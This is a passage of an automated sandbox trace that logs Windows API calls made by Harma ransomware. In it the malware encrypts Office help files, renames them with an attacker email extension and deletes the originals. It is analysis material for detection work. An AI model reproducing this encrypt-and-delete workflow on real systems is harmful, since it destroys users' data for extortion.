lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.914] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0162.914] SetEndOfFile (hFile=0x394) returned 1 [0162.914] CloseHandle (hObject=0x394) returned 1 [0162.914] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.914] SetEndOfFile (hFile=0x364) returned 1 [0162.920] CloseHandle (hObject=0x364) returned 1 [0162.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 1 [0162.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.922] lstrlenW (lpString=".doc") returned 4 [0162.922] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0162.922] lstrlenW (lpString=".docx") returned 5 [0162.922] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0162.922] lstrlenW (lpString=".pdf") returned 4 [0162.922] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0162.922] lstrlenW (lpString=".xls") returned 4 [0162.923] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0162.923] lstrlenW (lpString=".xlsx") returned 5 [0162.923] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0162.923] lstrlenW (lpString=".ppt") returned 4 [0162.923] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.923] lstrlenW (lpString=".zip") returned 4 [0162.923] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0162.923] lstrlenW (lpString=".rar") returned 4 [0162.923] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0162.923] lstrlenW (lpString=".bz2") returned 4 [0162.923] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0162.923] lstrlenW (lpString=".7z") returned 3 [0162.923] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.923] lstrlenW (lpString=".dbf") returned 4 [0162.923] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.923] lstrlenW (lpString=".1cd") returned 4 [0162.923] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.923] lstrlenW (lpString=".jpg") returned 4 [0162.923] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.923] lstrlenW (lpString=".doc") returned 4 [0162.924] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0162.924] lstrlenW (lpString=".docx") returned 5 [0162.924] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0162.924] lstrlenW (lpString=".pdf") returned 4 [0162.924] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0162.924] lstrlenW (lpString=".xls") returned 4 [0162.924] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0162.924] lstrlenW (lpString=".xlsx") returned 5 [0162.924] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0162.924] lstrlenW (lpString=".ppt") returned 4 [0162.924] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.924] lstrlenW (lpString=".zip") returned 4 [0162.924] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0162.924] lstrlenW (lpString=".rar") returned 4 [0162.924] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0162.924] lstrlenW (lpString=".bz2") returned 4 [0162.924] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0162.924] lstrlenW (lpString=".7z") returned 3 [0162.924] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.924] lstrlenW (lpString=".dbf") returned 4 [0162.924] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0162.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.924] lstrlenW (lpString=".1cd") returned 4 [0162.925] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0162.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0162.925] lstrlenW (lpString=".jpg") returned 4 [0162.925] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0162.925] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0162.925] lstrlenW (lpString="VISIO.DEV_F_COL.HXK") returned 19 [0162.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.926] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0162.926] CloseHandle (hObject=0x364) returned 1 [0162.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 0x20 [0162.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.927] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.927] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.928] GetLastError () returned 0x0 [0162.928] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0162.930] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0162.931] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.931] WriteFile (in: hFile=0x394, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0162.931] SetEndOfFile (hFile=0x394) returned 1 [0162.931] CloseHandle (hObject=0x394) returned 1 [0162.931] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.932] SetEndOfFile (hFile=0x364) returned 1 [0163.643] CloseHandle (hObject=0x364) returned 1 [0163.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 1 [0164.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.275] lstrlenW (lpString=".doc") returned 4 [0164.275] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.275] lstrlenW (lpString=".docx") returned 5 [0164.275] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.275] lstrlenW (lpString=".pdf") returned 4 [0164.275] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.275] lstrlenW (lpString=".xls") returned 4 [0164.275] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.275] lstrlenW (lpString=".xlsx") returned 5 [0164.275] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.275] lstrlenW (lpString=".ppt") returned 4 [0164.275] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.276] lstrlenW (lpString=".zip") returned 4 [0164.276] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.276] lstrlenW (lpString=".rar") returned 4 [0164.276] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.276] lstrlenW (lpString=".bz2") returned 4 [0164.276] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.276] lstrlenW (lpString=".7z") returned 3 [0164.276] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.276] lstrlenW (lpString=".dbf") returned 4 [0164.276] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.276] lstrlenW (lpString=".1cd") returned 4 [0164.276] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.276] lstrlenW (lpString=".jpg") returned 4 [0164.276] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.276] lstrlenW (lpString=".doc") returned 4 [0164.276] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.276] lstrlenW (lpString=".docx") returned 5 [0164.276] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.276] lstrlenW (lpString=".pdf") returned 4 [0164.277] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.277] lstrlenW (lpString=".xls") returned 4 [0164.277] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.277] lstrlenW (lpString=".xlsx") returned 5 [0164.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.277] lstrlenW (lpString=".ppt") returned 4 [0164.277] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.277] lstrlenW (lpString=".zip") returned 4 [0164.277] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.277] lstrlenW (lpString=".rar") returned 4 [0164.277] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.277] lstrlenW (lpString=".bz2") returned 4 [0164.277] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.277] lstrlenW (lpString=".7z") returned 3 [0164.277] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.277] lstrlenW (lpString=".dbf") returned 4 [0164.277] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.277] lstrlenW (lpString=".1cd") returned 4 [0164.277] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0164.277] lstrlenW (lpString=".jpg") returned 4 [0164.278] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.278] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0164.278] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0164.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0164.279] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=621) returned 1 [0164.279] CloseHandle (hObject=0x330) returned 1 [0164.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 0x20 [0164.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0164.279] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.280] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.280] GetLastError () returned 0x0 [0164.280] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x26d, lpOverlapped=0x0) returned 1 [0164.303] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x270, lpOverlapped=0x0) returned 1 [0164.305] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.305] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0164.305] SetEndOfFile (hFile=0x3ac) returned 1 [0164.305] CloseHandle (hObject=0x3ac) returned 1 [0164.305] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.305] SetEndOfFile (hFile=0x330) returned 1 [0164.311] CloseHandle (hObject=0x330) returned 1 [0164.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 1 [0164.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.313] lstrlenW (lpString=".doc") returned 4 [0164.313] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0164.313] lstrlenW (lpString=".docx") returned 5 [0164.313] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0164.313] lstrlenW (lpString=".pdf") returned 4 [0164.313] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0164.313] lstrlenW (lpString=".xls") returned 4 [0164.313] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0164.313] lstrlenW (lpString=".xlsx") returned 5 [0164.313] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0164.313] lstrlenW (lpString=".ppt") returned 4 [0164.313] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0164.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.313] lstrlenW (lpString=".zip") returned 4 [0164.314] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0164.314] lstrlenW (lpString=".rar") returned 4 [0164.314] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0164.314] lstrlenW (lpString=".bz2") returned 4 [0164.314] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0164.314] lstrlenW (lpString=".7z") returned 3 [0164.314] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0164.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.314] lstrlenW (lpString=".dbf") returned 4 [0164.314] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0164.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.314] lstrlenW (lpString=".1cd") returned 4 [0164.314] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0164.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.314] lstrlenW (lpString=".jpg") returned 4 [0164.314] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0164.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.314] lstrlenW (lpString=".doc") returned 4 [0164.314] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0164.314] lstrlenW (lpString=".docx") returned 5 [0164.314] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0164.314] lstrlenW (lpString=".pdf") returned 4 [0164.314] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0164.314] lstrlenW (lpString=".xls") returned 4 [0164.315] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0164.315] lstrlenW (lpString=".xlsx") returned 5 [0164.315] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0164.315] lstrlenW (lpString=".ppt") returned 4 [0164.315] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0164.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.315] lstrlenW (lpString=".zip") returned 4 [0164.315] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0164.315] lstrlenW (lpString=".rar") returned 4 [0164.315] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0164.315] lstrlenW (lpString=".bz2") returned 4 [0164.315] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0164.315] lstrlenW (lpString=".7z") returned 3 [0164.315] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0164.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.315] lstrlenW (lpString=".dbf") returned 4 [0164.315] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0164.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.315] lstrlenW (lpString=".1cd") returned 4 [0164.315] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0164.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0164.315] lstrlenW (lpString=".jpg") returned 4 [0164.315] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0164.316] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0164.316] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0164.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0164.317] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=205) returned 1 [0164.317] CloseHandle (hObject=0x330) returned 1 [0164.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 0x20 [0164.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0164.318] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.318] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.319] GetLastError () returned 0x0 [0164.319] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xcd, lpOverlapped=0x0) returned 1 [0164.320] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0164.322] ReadFile (in: hFile=0x330, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.322] WriteFile (in: hFile=0x3ac, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0164.322] SetEndOfFile (hFile=0x3ac) returned 1 [0164.322] CloseHandle (hObject=0x3ac) returned 1 [0164.322] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.322] SetEndOfFile (hFile=0x330) returned 1 [0164.325] CloseHandle (hObject=0x330) returned 1 [0164.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 1 [0164.327] lstrlenW (lpString="C:\\Program 